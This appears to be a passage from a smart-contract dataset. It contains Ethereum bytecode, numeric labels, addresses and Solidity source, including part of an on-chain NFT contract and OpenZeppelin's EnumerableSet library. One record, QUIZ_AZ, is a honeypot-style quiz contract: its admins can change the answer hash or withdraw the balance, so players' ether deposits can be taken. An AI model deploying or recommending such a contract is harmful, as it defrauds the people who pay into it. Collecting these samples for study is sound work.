190614fa7565b67ffffffffffffffff811115611c4557611c45615111565b604051908082528060200260200182016040528015611c6e578160200160208202803683370190505b5081526040805161012080825261242082019092526020928301929091908201612400803683370190505081525081526020016040518060400160405280600f6001611cba9190614fa7565b67ffffffffffffffff811115611cd257611cd2615111565b604051908082528060200260200182016040528015611cfb578160200160208202803683370190505b50815260408051601e8082526103e0820190925260209283019290919082016103c08036833750505090529052905060008080611d3784612331565b9050600081600e811115611d4d57611d4d6150e5565b14611d62579251929450919250611e44915050565b82611e3957611d728460016124bb565b93509050600081600e811115611d8a57611d8a6150e5565b14611d9f579251929450919250611e44915050565b611daa8460026124bb565b92509050600081600e811115611dc257611dc26150e5565b14611dd7579251929450919250611e44915050565b8115611e0b5781600114611e025781600214611df4576003611e14565b611dfd8461258c565b611e14565b611dfd846125fd565b611e1484612612565b9050600081600e811115611e2a57611e2a6150e5565b14611e3457611e39565b611d62565b925192945091925050505b9250929050565b611e53613e4a565b611e5b613e4a565b60005b600a8160ff161015611fa75760ff811660009081526020818152604080832060010180548251818502810185019093528083529192909190830182828015611eed57602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411611eb45790505b505050505090506000805b82518160ff161015611f9157828160ff1681518110611f1957611f196150fb565b602002602001015182611f2c9190614f8a565b91508161ffff16878560ff16600a8110611f4857611f486150fb565b602002015161ffff161015611f7f5780858560ff16600a8110611f6d57611f6d6150fb565b60ff9092166020929092020152611f91565b80611f8981615085565b915050611ef8565b5050508080611f9f90615085565b915050611e5e565b5092915050565b606081611fee57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561201857806120028161506a565b91506120119050600a83614fbf565b9150611ff2565b60008167ffffffffffffffff81111561203357612033615111565b6040519080825280601f01601f19166020018201604052801561205d576020820181803683370190505b5090505b8415610da257612072600183614ff2565b915061207f600a866150a5565b61208a906030614fa7565b60f81b81838151811061209f5761209f6150fb565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506120d9600a86614fbf565b9450612061565b606081516000141561210057505060408051602081019091526000815290565b600060405180606001604052806040815260200161538c604091399050600060038451600261212f9190614fa7565b6121399190614fbf565b612144906004614fd3565b90506000612153826020614fa7565b67ffffffffffffffff81111561216b5761216b615111565b6040519080825280601f01601f191660200182016040528015612195576020820181803683370190505b509050818152600183018586518101602084015b818310156122035760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b938201939093526004016121a9565b60038951066001811461221d57600281146122675761228f565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe83015261228f565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b509398975050505050505050565b6000806122c8836040516020016122b49190614d93565b60405160208183030381529060405261283a565b90508051602082016000f091506001600160a01b038216612315576040517f08d4abb600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50919050565b606061232b826001600019612850565b92915050565b604080516101208082526124208201909252600091829182916020820161240080368337019050509050600091505b609082101561239a57600881838151811061237d5761237d6150fb565b6020908102919091010152816123928161506a565b925050612360565b6101008210156123d55760098183815181106123b8576123b86150fb565b6020908102919091010152816123cd8161506a565b92505061239a565b6101188210156124105760078183815181106123f3576123f36150fb565b6020908102919091010152816124088161506a565b9250506123d5565b61012082101561244b57600881838151811061242e5761242e6150fb565b6020908102919091010152816124438161506a565b925050612410565b61245e8460c0015182610120600061291a565b50600091505b601e82101561249e576005818381518110612481576124816150fb565b6020908102919091010152816124968161506a565b925050612464565b6124b08460e0015182601e600061291a565b506000949350505050565b608082015160009081905b838560a00151101561254f57846040015151856060015114156124f157600160009250925050611e44565b60a085015160408601516060870180519061250b8261506a565b90528151811061251d5761251d6150fb565b602001015160f81c60f81b60f81c60ff16901b8117905060088560a0018181516125479190614fa7565b9052506124c6565b80841c608086015260a08501805185919061256b908390614ff2565b905250600061257d600180871b614ff2565b60009792169550909350505050565b60006125ab604051806040016040528060608152602001606081525090565b604080518082019091526060808252602082015260006125ca85612be3565b90945092509050600081600e8111156125e5576125e56150e5565b146125f257949350505050565b6108e585848461329c565b600061232b828360c001518460e0015161329c565b60006080820181905260a08201819052604082015151606083015182919061263b906004614fa7565b111561264a5750600192915050565b60408301516060840180519061265f8261506a565b905281518110612671576126716150fb565b0160200151604084015160608501805160f89390931c9350600892906126968261506a565b9052815181106126a8576126a86150fb565b602001015160f81c60f81b60f81c60ff16901b81179050801960ff1683604001518460600180518091906126db9061506a565b9052815181106126ed576126ed6150fb565b016020015160f81c1415806127385750604083015160608401805160ff841960081c16929161271b8261506a565b90528151811061272d5761272d6150fb565b016020015160f81c14155b156127465750600492915050565b82604001515181846060015161275c9190614fa7565b111561276b5750600192915050565b825151602084015161277e908390614fa7565b111561278d5750600292915050565b80156128315761279e600182614ff2565b905082604001518360600180518091906127b79061506a565b9052815181106127c9576127c96150fb565b602001015160f81c60f81b83600001518460200180518091906127eb9061506a565b9052815181106127fd576127fd6150fb565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061278d565b50600092915050565b6060815182604051602001611647929190614b02565b6060833b8061286f5750506040805160208101909152600081526112c5565b8084111561288d5750506040805160208101909152600081526112c5565b838310156128d8576040517f2c4a89fa00000000000000000000000000000000000000000000000000000000815260048101829052602481018590526044810184905260640161040d565b83830384820360008282106128ed57826128ef565b815b60408051603f8301601f19168101909152818152955090508087602087018a3c505050509392505050565b600080600080612928613fb5565b600092505b600f831161296a5760008960000151848151811061294d5761294d6150fb565b6020908102919091010152826129628161506a565b93505061292d565b600093505b868410156129d6578851886129848689614fa7565b81518110612994576129946150fb565b6020026020010151815181106129ac576129ac6150fb565b6020026020010180518091906129c19061506a565b905250836129ce8161506a565b94505061296f565b8689600001516000815181106129ee576129ee6150fb565b60200260200101511415612a09576000945050505050610da2565b60019150600192505b600f8311612a8c578851805160019390931b9284908110612a3557612a356150fb565b6020026020010151821015612a5157600e945050505050610da2565b8851805184908110612a6557612a656150fb565b602002602001015182612a789190614ff2565b915082612a848161506a565b935050612a12565b60006020820152600192505b600f831015612b11578851805184908110612ab557612ab56150fb565b6020026020010151818460108110612acf57612acf6150fb565b6020020151612ade9190614fa7565b81612aea856001614fa7565b60108110612afa57612afa6150fb565b602002015282612b098161506a565b935050612a98565b600093505b86841015612bc45787612b298588614fa7565b81518110612b3957612b396150fb565b6020026020010151600014612bb25760208901518490828a612b5b848b614fa7565b81518110612b6b57612b6b6150fb565b602002602001015160108110612b8357612b836150fb565b60200201805190612b938261506a565b905281518110612ba557612ba56150fb565b6020026020010181815250505b83612bbc8161506a565b945050612b16565b60008211612bd3576000612bd6565b600e5b9998505050505050505050565b6000612c02604051806040016040528060608152602001606081525090565b6040805180820190915260608082526020820152600080808080612c29601e61011e614fa7565b67ffffffffffffffff811115612c4157612c41615111565b604051908082528060200260200182016040528015612c6a578160200160208202803683370190505b50905060006040518060400160405280600f6001612c889190614fa7565b67ffffffffffffffff811115612ca057612ca0615111565b604051908082528060200260200182016040528015612cc9578160200160208202803683370190505b5081526040805161011e8082526123e0820190925260209283019290919082016123c08036833701905050815250905060006040518060400160405280600f6001612d149190614fa7565b67ffffffffffffffff811115612d2c57612d2c615111565b604051908082528060200260200182016040528015612d55578160200160208202803683370190505b50815260408051601e8082526103e0820190925260209283019290919082016103c080368337505050905290506000612d8f8c60056124bb565b98509450600085600e811115612da757612da76150e5565b14612dbf575092985096509094506132959350505050565b612dcb61010189614fa7565b9750612dd88c60056124bb565b97509450600085600e811115612df057612df06150e5565b14612e08575092985096509094506132959350505050565b612e13600188614fa7565b965061011e881180612e255750601e87115b15612e3f5750600599509097509550613295945050505050565b612e488c613af7565b9095509350600085600e811115612e6157612e616150e5565b14612e79575092985096509094506132959350505050565b612e8783856013600061291a565b9450600085600e811115612e9d57612e9d6150e5565b14612eb75750600699509097509550613295945050505050565b600095505b612ec68789614fa7565b8610156130bf57600080612eda8e86613d1a565b9097509150600087600e811115612ef357612ef36150e5565b14612f0d5750949a50919850965061329595505050505050565b6010821015612f4557818689612f228161506a565b9a5081518110612f3457612f346150fb565b6020026020010181815250506130b8565b5060006010821415612fe45787612f6e575060079b509299509097506132959650505050505050565b85612f7a60018a614ff2565b81518110612f8a57612f8a6150fb565b60200260200101519050612f9f8e60026124bb565b9097509250600087600e811115612fb857612fb86150e5565b14612fd25750949a50919850965061329595505050505050565b612fdd836003614fa7565b9150613044565b8160111415612ff857612f9f8e60036124bb565b6130038e60076124bb565b9097509250600087600e81111561301c5761301c6150e5565b146130365750949a50919850965061329595505050505050565b61304183600b614fa7565b91505b61304e898b614fa7565b613058838a614fa7565b1115613076575060089b509299509097506132959650505050505050565b81156130b857613087600183614ff2565b91508086896130958161506a565b9a50815181106130a7576130a76150fb565b602002602001018181525050613076565b5050612ebc565b83610100815181106130d3576130d36150fb565b6020026020010151600014156130f85750600b99509097509550613295945050505050565b61310583858a600061291a565b9450600085600e81111561311b5761311b6150e5565b141580156131a55750600185600e811115613138576131386150e5565b14806131555750600285600e811115613153576131536150e5565b145b806131a55750825180516001908110613170576131706150fb565b6020026020010151836000015160008151811061318f5761318f6150fb565b60200260200101516131a19190614fa7565b8814155b156131bf5750600999509097509550613295945050505050565b6131cb8285898b61291a565b9450600085600e8111156131e1576131e16150e5565b1415801561326b5750600185600e8111156131fe576131fe6150e5565b148061321b5750600285600e811115613219576132196150e5565b145b8061326b5750815180516001908110613236576132366150fb565b60200260200101518260000151600081518110613255576132556150fb565b60200260200101516132679190614fa7565b8714155b156132855750600a99509097509550613295945050505050565b5060009950909750955050505050505b9193909250565b6000806000806000604051806103a00160405280600361ffff168152602001600461ffff168152602001600561ffff168152602001600661ffff168152602001600761ffff168152602001600861ffff168152602001600961ffff168152602001600a61ffff168152602001600b61ffff168152602001600d61ffff168152602001600f61ffff168152602001601161ffff168152602001601361ffff168152602001601761ffff168152602001601b61ffff168152602001601f61ffff168152602001602361ffff168152602001602b61ffff168152602001603361ffff168152602001603b61ffff168152602001604361ffff168152602001605361ffff168152602001606361ffff168152602001607361ffff168152602001608361ffff16815260200160a361ffff16815260200160c361ffff16815260200160e361ffff16815260200161010261ffff1681525090506000604051806103a00160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600160ff168152602001600160ff168152602001600160ff168152602001600160ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600260ff168152602001600360ff168152602001600360ff168152602001600360ff168152602001600360ff168152602001600460ff168152602001600460ff168152602001600460ff168152602001600460ff168152602001600560ff168152602001600560ff168152602001600560ff168152602001600560ff168152602001600060ff1681525090506000604051806103c00160405280600161ffff168152602001600261ffff168152602001600361ffff168152602001600461ffff168152602001600561ffff168152602001600761ffff168152602001600961ffff168152602001600d61ffff168152602001601161ffff168152602001601961ffff168152602001602161ffff168152602001603161ffff168152602001604161ffff168152602001606161ffff168152602001608161ffff16815260200160c161ffff16815260200161010161ffff16815260200161018161ffff16815260200161020161ffff16815260200161030161ffff16815260200161040161ffff16815260200161060161ffff16815260200161080161ffff168152602001610c0161ffff16815260200161100161ffff16815260200161180161ffff16815260200161200161ffff16815260200161300161ffff16815260200161400161ffff16815260200161600161ffff1681525090506000604051806103c00160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600160ff168152602001600160ff168152602001600260ff168152602001600260ff168152602001600360ff168152602001600360ff168152602001600460ff168152602001600460ff168152602001600560ff168152602001600560ff168152602001600660ff168152602001600660ff168152602001600760ff168152602001600760ff168152602001600860ff168152602001600860ff168152602001600960ff168152602001600960ff168152602001600a60ff168152602001600a60ff168152602001600b60ff168152602001600b60ff168152602001600c60ff168152602001600c60ff168152602001600d60ff168152602001600d60ff16815250905060005b8761010014613ae5576137d68c8c613d1a565b98509050600081600e8111156137ee576137ee6150e5565b146138025797506112c59650505050505050565b610100881015613890578b515160208d0151141561382b576002985050505050505050506112c5565b8760f81b8c600001518d6020015181518110613849576138496150fb565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060208c018051906138888261506a565b9052506137c3565b610100881115613ad35760006138a86101018a614ff2565b9850601d89106138c457600c99505050505050505050506112c5565b6138e78d868b601d81106138da576138da6150fb565b602002015160ff166124bb565b9092509050600082600e811115613900576139006150e5565b14613915575097506112c59650505050505050565b80868a601d8110613928576139286150fb565b602002015161ffff1661393b9190614fa7565b97506139478d8c613d1a565b99509150600082600e81111561395f5761395f6150e5565b14613974575097506112c59650505050505050565b61398a8d848b601e81106138da576138da6150fb565b9092509050600082600e8111156139a3576139a36150e5565b146139b8575097506112c59650505050505050565b80848a601e81106139cb576139cb6150fb565b602002015161ffff166139de9190614fa7565b96508c602001518711156139fe57600d99505050505050505050506112c5565b8c515160208e0151613a11908a90614fa7565b1115613a2957600299505050505050505050506112c5565b8715613acd57613a3a600189614ff2565b97508c60000151878e60200151613a519190614ff2565b81518110613a6157613a616150fb565b602001015160f81c60f81b8d600001518e6020015181518110613a8657613a866150fb565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060208d01805190613ac58261506a565b905250613a29565b506137c3565b868c6020018181516138889190614fa7565b5060009b9a5050505050505050505050565b60006060818080613b0b601e61011e614fa7565b67ffffffffffffffff811115613b2357613b23615111565b604051908082528060200260200182016040528015613b4c578160200160208202803683370190505b506040805161026081018252601081526011602082015260129181019190915260006060820181905260086080830152600760a0830152600960c0830152600660e0830152600a6101008301526005610120830152600b61014083015260046101608301819052600c61018084015260036101a0840152600d6101c084015260026101e0840152600e6102008401526001610220840152600f61024084015292935091613bfa9089906124bb565b95509150600082600e811115613c1257613c126150e5565b14613c235750969095509350505050565b613c2e600486614fa7565b9450600093505b84841015613cb757613c488860036124bb565b84838760138110613c5b57613c5b6150fb565b602002015160ff1681518110613c7357613c736150fb565b60209081029190910101529150600082600e811115613c9457613c946150e5565b14613ca55750969095509350505050565b83613caf8161506a565b945050613c35565b6013841015613d0a57600083828660138110613cd557613cd56150fb565b602002015160ff1681518110613ced57613ced6150fb565b602090810291909101015283613d028161506a565b945050613cb7565b5060009791965090945050505050565b600080600181808080805b600f8611613e16576000613d3a8b60016124bb565b9092509050600082600e811115613d5357613d536150e5565b14613d6a5750965060009550611e44945050505050565b895180519682179688908110613d8257613d826150fb565b602002602001015193508385613d989190614fa7565b861015613de35760208a0151600090613db18789614ff2565b613dbb9086614fa7565b81518110613dcb57613dcb6150fb565b60200260200101519850985050505050505050611e44565b613ded8484614fa7565b9250613df98486614fa7565b600196871b961b9450869050613e0e8161506a565b965050613d25565b50600c9960009950975050505050505050565b5080546000825590600052602060002090810190613e479190613fd4565b50565b604051806101400160405280600a906020820280368337509192915050565b604051806101400160405280600a905b6060815260200190600190039081613e795790505090565b828054613e9d90615035565b90600052602060002090601f016020900481019282613ebf5760008555613f05565b82601f10613ed857805160ff1916838001178555613f05565b82800160010185558215613f05579182015b82811115613f05578251825591602001919060010190613eea565b50610ccc929150613fee565b82805482825590600052602060002090600f01601090048101928215613f055791602002820160005b83821115613f7a57835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302613f3a565b8015613fa85782816101000a81549061ffff0219169055600201602081600101049283019260010302613f7a565b5050610ccc929150613fee565b6040518061020001604052806010906020820280368337509192915050565b5b80821115610ccc57805461ffff19168155600101613fd5565b5b80821115610ccc5760008155600101613fef565b600082601f83011261401457600080fd5b8135602061402961402483614f3e565b614f0d565b80838252828201915082860187848660051b890101111561404957600080fd5b6000805b8681101561408c57823567ffffffffffffffff81111561406b578283fd5b6140798b88838d010161420c565b865250938501939185019160010161404d565b509198975050505050505050565b600082601f8301126140ab57600080fd5b813560206140bb61402483614f3e565b80838252828201915082860187848660051b89010111156140db57600080fd5b60005b8581101561419857813567ffffffffffffffff808211156140fe57600080fd5b818a019150606080601f19848e0301121561411857600080fd5b614120614ec1565b888401356001600160a01b038116811461413957600080fd5b81526040848101356bffffffffffffffffffffffff8116811461415b57600080fd5b828b015291840135918383111561417157600080fd5b61417f8e8b8588010161420c565b90820152875250505092840192908401906001016140de565b5090979650505050505050565b600082601f8301126141b657600080fd5b813560206141c661402483614f3e565b80838252828201915082860187848660051b89010111156141e657600080fd5b60005b85811015614198576141fa8261425d565b845292840192908401906001016141e9565b600082601f83011261421d57600080fd5b813561422b61402482614f62565b81815284602083860101111561424057600080fd5b816020850160208301376000918101602001919091529392505050565b803560ff8116811461426e57600080fd5b919050565b6000602080838503121561428657600080fd5b67ffffffffffffffff808435111561429d57600080fd5b8335840185601f8201126142b057600080fd5b6142bd6140248235614f3e565b808235825284820191508483018886853560051b86010111156142df57600080fd5b60005b84358110156143e55785823511156142f957600080fd5b813585016040601f19828d0301121561431157600080fd5b614319614eea565b8789830135111561432957600080fd5b61433a8c8a8b85013585010161420c565b8152876040830135111561434d57600080fd5b6040820135820191508b603f83011261436557600080fd5b8882013561437561402482614f3e565b808282528b82019150604085018f60408560051b880101111561439757600080fd5b600095505b838610156143cb57803561ffff8116146143b557600080fd5b8035835260019590950194918c01918c0161439c565b50838c0152505085525092860192908601906001016142e2565b509098975050505050505050565b60008060006060848603121561440857600080fd5b833567ffffffffffffffff8082111561442057600080fd5b818601915086601f83011261443457600080fd5b8135602061444461402483614f3e565b8083825282820191508286018b848660051b890101111561446457600080fd5b600096505b84871015614487578035835260019690960195918301918301614469565b509750508701359250508082111561449e57600080fd5b6144aa8783880161409a565b935060408601359150808211156144c057600080fd5b506144cd86828701614003565b9150509250925092565b60006101408083850312156144eb57600080fd5b83601f8401126144fa57600080fd5b60405181810181811067ffffffffffffffff8211171561451c5761451c615111565b604052808483810187101561453057600080fd5b600093505b600a84101561455c576145478161425d565b82526001939093019260209182019101614535565b509095945050505050565b6000806040838503121561457a57600080fd5b823567ffffffffffffffff81111561459157600080fd5b61459d858286016141a5565b925050602083013580151581146145b357600080fd5b809150509250929050565b600080604083850312156145d157600080fd5b50508035926020909101359150565b600080604083850312156145f357600080fd5b823567ffffffffffffffff81111561460a57600080fd5b6146168582860161420c565b95602094909401359450505050565b60006020828403121561463757600080fd5b815167ffffffffffffffff81111561464e57600080fd5b8201601f8101841361465f57600080fd5b805161466d61402482614f62565b81815285602083850101111561468257600080fd5b6108e5826020830160208601615009565b6000602082840312156146a557600080fd5b5035919050565b6000806000606084860312156146c157600080fd5b505081359360208301359350604090920135919050565b6000602082840312156146ea57600080fd5b6112c58261425d565b6000806000806080858703121561470957600080fd5b6147128561425d565b9350602085013567ffffffffffffffff8082111561472f57600080fd5b61473b8883890161409a565b9450604087013591508082111561475157600080fd5b61475d888389016141a5565b9350606087013591508082111561477357600080fd5b5061478087828801614003565b91505092959194509250565b6000806040838503121561479f57600080fd5b6147a88361425d565b91506147b66020840161425d565b90509250929050565b6000806000606084860312156147d457600080fd5b6147dd8461425d565b925060206147ec81860161425d565b925060408086013567ffffffffffffffff81111561480957600080fd5b8601601f8101881361481a57600080fd5b803561482861402482614f3e565b8082825285820191508584018b878560061b870101111561484857600080fd5b60009450845b848110156148985786828e031215614864578586fd5b61486c614eea565b6148758361425d565b815261488289840161425d565b818a01528452928701929086019060010161484e565b50508096505050505050509250925092565b600081518084526148c2816020860160208601615009565b601f01601f19169290920160200192915050565b8054600090600181811c90808316806148f057607f831692505b602080841082141561491257634e487b7160e01b600052602260045260246000fd5b818015614926576001811461493757614964565b60ff19861689528489019650614964565b60008881526020902060005b8681101561495c5781548b820152908501908301614943565b505084890196505b50505050505092915050565b60008351614982818460208801615009565b835190830190614996818360208801615009565b01949350505050565b600084516149b1818460208901615009565b6149bd818401866148d6565b90507f222c2276616c7565223a22000000000000000000000000000000000000000000815283516149f581600b840160208801615009565b7f227d000000000000000000000000000000000000000000000000000000000000600b9290910191820152600d0195945050505050565b6000614a3882886148d6565b8651614a48818360208b01615009565b8651910190614a5b818360208a01615009565b8551910190614a6e818360208901615009565b8451910190614a81818360208801615009565b7f3c2f7376673e00000000000000000000000000000000000000000000000000009101908152600601979650505050505050565b6000614ac182856148d6565b8351614ad1818360208801615009565b7f3c2f7376673e00000000000000000000000000000000000000000000000000009101908152600601949350505050565b7f630000000000000000000000000000000000000000000000000000000000000081527fffffffff000000000000000000000000000000000000000000000000000000008360e01b1660018201527f80600e6000396000f30000000000000000000000000000000000000000000000600582015260008251614b8b81600e850160208701615009565b91909101600e019392505050565b7f5b7b2274726169745f74797065223a22436f736d6963204265696e67222c227681527f616c7565223a220000000000000000000000000000000000000000000000000060208201526000614bf160278301846148d6565b7f227d2c7b2274726169745f74797065223a224c69666520466f726d222c22766181527f6c7565223a2254726970706564227d5d0000000000000000000000000000000060208201526030019392505050565b7f7b226e616d65223a202200000000000000000000000000000000000000000000815260008551614c7c81600a850160208a01615009565b7f222c20226465736372697074696f6e223a202200000000000000000000000000600a918401918201528551614cb981601d840160208a01615009565b7f222c202261747472696275746573223a00000000000000000000000000000000601d92909101918201528451614cf781602d840160208901615009565b7f2c22696d616765223a2022000000000000000000000000000000000000000000602d92909101918201527f646174613a696d6167652f7376672b786d6c3b6261736536342c00000000000060388201528351614d5b816052840160208801615009565b7f227d000000000000000000000000000000000000000000000000000000000000605292909101918201526054019695505050505050565b6000815260008251614dac816001850160208701615009565b9190910160010192915050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251614df181601d850160208701615009565b91909101601d0192915050565b7f4574686572546572726573747269616c20230000000000000000000000000000815260008251614e36816012850160208701615009565b9190910160120192915050565b6001600160a01b03841681526bffffffffffffffffffffffff831660208201526060604082015260006108e560608301846148aa565b6101408101818360005b600a811015614ea557815160ff16835260209283019290910190600101614e83565b50505092915050565b6020815260006112c560208301846148aa565b6040516060810167ffffffffffffffff81118282101715614ee457614ee4615111565b60405290565b6040805190810167ffffffffffffffff81118282101715614ee457614ee4615111565b604051601f8201601f1916810167ffffffffffffffff81118282101715614f3657614f36615111565b604052919050565b600067ffffffffffffffff821115614f5857614f58615111565b5060051b60200190565b600067ffffffffffffffff821115614f7c57614f7c615111565b50601f01601f191660200190565b600061ffff808316818516808303821115614996576149966150b9565b60008219821115614fba57614fba6150b9565b500190565b600082614fce57614fce6150cf565b500490565b6000816000190483118215151615614fed57614fed6150b9565b500290565b600082821015615004576150046150b9565b500390565b60005b8381101561502457818101518382015260200161500c565b838111156117e35750506000910152565b600181811c9082168061504957607f821691505b6020821081141561231557634e487b7160e01b600052602260045260246000fd5b600060001982141561507e5761507e6150b9565b5060010190565b600060ff821660ff81141561509c5761509c6150b9565b60010192915050565b6000826150b4576150b46150cf565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe2c7b2274726169745f74797065223a224c69666520466f726d222c2276616c7565223a2254726970706564227d5d3c646566733e3c636c6970506174682069643d22636c69705061746833223e3c636972636c652063783d22353530222063793d223535302220723d2235303022202f3e3c2f636c6970506174683e3c2f646566733e3c67207374796c653d22636c69702d706174683a2075726c2823636c69705061746833293b223e3c7265637420783d22302220793d2230222077696474683d223330303022206865696768743d223330303022207374796c653d227374726f6b653a206e6f6e653b2066696c6c3a6e6f6e653b20636c69702d706174683a2075726c2823636c69705061746833293b22202f3e3c6720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207472616e73666f726d3d227363616c6528312e35312c3129207472616e736c617465282d31373829223e4574686572546572726573747269616c732061726520696e7465722d64696d656e73696f6e616c2045787472612d546572726573747269616c732077686f2063616d6520746f204561727468277320696e7465726e657420746f20696e6675736520636f6e7363696f75736e65737320696e746f20616c6c206f7468657220706978656c61746564204c696665666f726d732e20546865792063616e20626520656e636f756e746572656420696e2074686520666f726d206f66206f6e2d636861696e206368617261637465727320617320696e74657270726574656420627920746865206578697374656e7469616c206578706c6f726572204b79652e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f556e72657665616c6564204574686572546572726573747269616c202d205265667265736820536f6f6ea26469706673582212202c7cc0a2e4c81bbfc0173800f9affbcbdb2ef7fffb673178a272562d5ba32b5064736f6c63430008070033
[ 3, 4, 12 ]
0xf3044b6654113c92bfebe70cec18e6d482524468
contract QUIZ_AZ { function Try(string memory _response) public payable { require(msg.sender == tx.origin); if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) { payable(msg.sender).transfer(address(this).balance); } } string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string calldata _question, string calldata _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(abi.encode(_response)); question = _question; } } function Stop() public payable isAdmin { payable(msg.sender).transfer(address(this).balance); } function New(string calldata _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] memory admins) { for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(abi.encodePacked(msg.sender))]); _; } fallback() external {} }
0x60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104c6565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105b3565b60405180910390f35b61006c6101d5565b61006c6100af36600461045d565b610248565b61006c6100c2366004610413565b6102d8565b3332146100d357600080fd5b806040516020016100e491906105b3565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b6000805461015490610606565b80601f016020809104026020016040519081016040528092919081815260200182805461018090610606565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610144573d6000803e3d6000fd5b600260003360405160200161025d9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661028f57600080fd5b6001546102d25781816040516020016102a9929190610584565b60408051601f1981840301815291905280516020909101206001556102d060008585610333565b505b50505050565b60026000336040516020016102ed9190610567565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661031f57600080fd5b61032b60008484610333565b506001555050565b82805461033f90610606565b90600052602060002090601f01602090048101928261036157600085556103a7565b82601f1061037a5782800160ff198235161785556103a7565b828001600101855582156103a7579182015b828111156103a757823582559160200191906001019061038c565b506103b39291506103b7565b5090565b5b808211156103b357600081556001016103b8565b60008083601f8401126103dd578081fd5b50813567ffffffffffffffff8111156103f4578182fd5b60208301915083602082850101111561040c57600080fd5b9250929050565b600080600060408486031215610427578283fd5b833567ffffffffffffffff81111561043d578384fd5b610449868287016103cc565b909790965060209590950135949350505050565b60008060008060408587031215610472578081fd5b843567ffffffffffffffff80821115610489578283fd5b610495888389016103cc565b909650945060208701359150808211156104ad578283fd5b506104ba878288016103cc565b95989497509550505050565b600060208083850312156104d8578182fd5b823567ffffffffffffffff808211156104ef578384fd5b818501915085601f830112610502578384fd5b81358181111561051457610514610641565b604051601f8201601f191681018501838111828210171561053757610537610641565b604052818152838201850188101561054d578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105df578581018301518582016040015282016105c3565b818111156105f05783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061061a57607f821691505b6020821081141561063b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220f5c4d3cb6f9a9ff595be3379ecf772e80ae13a9c411ed9d1d6725771e6eb8d4764736f6c63430008000033
[ 11 ]
0xf304dacf165ec5f9cd515767bde6e3c496efc753
/** //SPDX-License-Identifier: MIT */ pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap 